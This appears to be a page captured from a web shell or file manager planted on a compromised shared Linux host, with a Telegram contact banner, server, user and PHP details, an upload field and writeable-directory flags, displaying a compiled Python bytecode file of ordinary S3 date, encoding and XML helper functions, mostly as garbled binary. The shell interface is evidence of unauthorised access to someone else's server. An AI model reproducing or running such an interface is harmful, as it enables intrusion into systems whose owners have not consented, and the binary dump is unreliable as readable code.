https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/S3/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/S3/__pycache__/BaseUtils.cpython-310.pyc
o

�Qal%�@s�ddlmZmZddlZddlZddlmZddlmZm	Z	m
Z
ddlZddl
mmZddlmZzddlZWneyRej�d�ej��e�e�YnwzddlmZWneyjddlmZYnwzeWneyzeZYnwgZ e�!d	�Z"e�!d
ej#�Z$dd�Z%e �&d�d
d�Z'e �&d�dd�Z(e �&d�dd�Z)e �&d�dd�Z*e �&d�d;dd�Z+e �&d�d;dd�Z,e �&d�d<dd�Z-e �&d�d<dd�Z.e �&d�d=d!d"�Z/e �&d"�d>d#d$�Z0e �&d$�d?d%d&�Z1e �&d&�d'd(�Z2e �&d(�d)d*�Z3e �&d*�d+d,�Z4e �&d,�d-d.�Z5e �&d.�d/d0�Z6e �&d0�d1d2�Z7e �&d2�d3d4�Z8e �&d4�d5d6�Z9e �&d6�d7d8�Z:e �&d8�d9d:�Z;e �&d:�dS)@�)�absolute_import�divisionN)�timegm)�debug�warning�error�)�	EX_OSFILEa*
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
ImportError trying to import dateutil.parser.
Please install the python dateutil module:
$ sudo apt-get install python-dateutil
  or
$ sudo yum install python-dateutil
  or
$ pip install python-dateutil
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
)�quotez\.[0-9]*(?:[Z\-\+]*?)s9^(<?[^>]+?>\s*|\s*)(<\w+) xmlns=['"](https?://[^'"]+)['"]cCst�d|�}tjj|dd�S)Nz.000T��fuzzy)�RE_S3_DATESTRING�sub�dateutil�parser�parse��date�r�./usr/lib/python3/dist-packages/S3/BaseUtils.py�dateS3toPython?srcC�tt|����S�N)rr�utctimetuplerrrr�dateS3toUnixFsrcCstjj|dd�S)zV
    Convert a string formated like '2020-06-27T15:56:34Z' into a python datetime
    Tr)rrrrrrr�dateRFC822toPythonLsrcCrr)rrrrrrr�dateRFC822toUnixTsrcCstjj|dd�}|�d�S)NTrz%Y-%m-%d %H:%M)rrr�strftime)�s3timestamp�date_objrrr�formatDateTimeYs
r �UTF-8�replaceFcCsNt|�tkr|S|std||f�zt|||�WSty&td|��w)z<
    Convert 'string' to Unicode or raise an exception.
    zUnicodising %r using %sz Conversion to unicode failed: %r)�type�unicoder�UnicodeDecodeError��string�encoding�errors�silentrrr�base_unicodisebs�r+cCsNt|�tkr|S|std||f�z|�||�WSty&td|��w)z�
    Convert unicode 'string' to <type str>, by default replacing
    all invalid characters with '?' or raise an exception.
    zDeUnicodising %r using %sz"Conversion from unicode failed: %r)r#r$r�encode�UnicodeEncodeErrorr&rrr�base_deunicodisers�r.cC�t|d|d�S)zE
    Convert S3 UTF-8 'string' to Unicode or raise an exception.
    r!T)r+�r'r)rrr�decode_from_s3�sr1cCr/)z
    Convert Unicode to S3 UTF-8 'string', by default replacing
    all invalid characters with '?' or raise an exception.
    r!T)r.r0rrr�encode_to_s3�sr2TcCs>|rd}nd}t|�}t||d�}|rt|�}|St|�}|S)a�
    URI encode every byte. UriEncode() must enforce the following rules:
    - URI encode every byte except the unreserved characters: 'A'-'Z', 'a'-'z', '0'-'9', '-', '.', '_', and '~'.
    - The space character is a reserved character and must be encoded as "%20" (and not as "+").
    - Each URI encoded byte is formed by a '%' and the two-digit hexadecimal value of the byte.
    - Letters in the hexadecimal value must be uppercase, for example "%1A".
    - Encode the forward slash character, '/', everywhere except in the object key name.
    For example, if the object key name is photos/Jan/sample.jpg, the forward slash in the key name is not encoded.
    �~�~/��safe)r2r
r1)�param�quote_backslashes�unicode_output�
safe_charsrrr�s3_quote�s
�r;cCsDt|�}|dkr
|St|dd�}td||f�|rt|�St|�S)N�verbatimr4r5zString '%s' encoded to '%s')r2r
rr1)r'�urlencoding_moder9�encodedrrr�base_urlencode_string�sr?cCs�d}d}|D],}t|�}|dkr!|dttd�|�7}|d7}q|dkr.|d7}|d7}q||7}q|r?|r?td	||f�|S)
z�
    replace_nonprintables(string)

    Replaces all non-printable characters 'ch' in 'string'
    where ord(ch) <= 26 with ^@, ^A, ... ^Z
    �r��^�@r�z^?z+%d non-printable characters replaced in: %s)�ord�chrr)r'�with_message�
new_string�modified�c�orrr�base_replace_nonprintables�s


rLcCs~g}|D]8}i}|D]*}t|j�}t|�rt|g�||<q
|�d|j�}|dur0t|�||<q
d||<q
|r<|�|�q|S�Nz.//%s)r1�tag�len�
parseNodes�findtext�append)�nodes�retval�node�retval_item�child�name�
found_textrrrrP�s


�rPcCstjj�|�}|��Sr)�xml�dom�minidom�parseString�toprettyxml)�xmlstr�	xmlparserrrr�getPrettyFromXml�sracCs:t�|�}|r|�d�}t�d|d�}||fSd}||fS)zy
    removeNameSpace(xml) -- remove top-level AWS namespace
    Operate on raw byte(utf-8) xml string. (Not unicode)
    �z\1\2rN)�RE_XML_NAMESPACE�match�groupr)rZ�xmlns_match�xmlnsrrr�stripNameSpace�s

�rhc
Cs\tt|��\}}zt�|�}|r||jd<|WSty-}z
td|�t|��d}~ww)NrgzError parsing xml: %s)rhr2�ET�
fromstring�attrib�	Exceptionr)rZrg�tree�errr�getTreeFromXmls


��rocCst|�}|�d|�}t|�SrM)ro�findallrP)rZrUrmrSrrr�getListFromXmlsrqcCs�i}|D]?}t|�rt|�}n|jdurt|j�nd}t|j�}||vr=t||�tks3||g||<||�|p:d�q|p@d||<q|S)Nr@)rO�getDictFromTree�textr1rNr#�listrR)rm�ret_dictrW�content�	child_tagrrrrrs

rrcCsJt|�}|j�|�r|jdurt|j�SdS|�|�}|dur#t|�SdSr)rorN�endswithrsr1rQ)rZ�xpathrm�resultrrr�getTextFromXml.s

r{cCs t|�}|jdurt|j�SdSr)rorNr1)rZrmrrr�getRootTagName8sr|cCst�|�}t|�|_|Sr)ri�Elementr1rs)�tag_namers�elrrr�xmlTextNode>s

r�cCst||�}|�|�|S)z�
    Creates a new <tag_name> Node and sets
    its content to 'text'. Then appends the
    created Node to 'parent' element if given.
    Returns the newly created Node.
    )r�rR)r~rs�parentrrrr�appendXmlTextNodeEs

r�)r!r"F)r")TF)NF)F)<�
__future__rr�re�sys�calendarr�loggingrrr�xml.dom.minidomrZ�xml.etree.ElementTree�etree�ElementTreeri�	ExitCodesr	�dateutil.parserr�ImportError�stderr�write�flush�exit�urllibr
�urllib.parser$�	NameError�str�__all__�compiler
�	MULTILINErcrrRrrrr r+r.r1r2r;r?rLrPrarhrorqrrr{r|r�r�rrrr�<module>s�
���






























https://t.me/RX1948 - 2025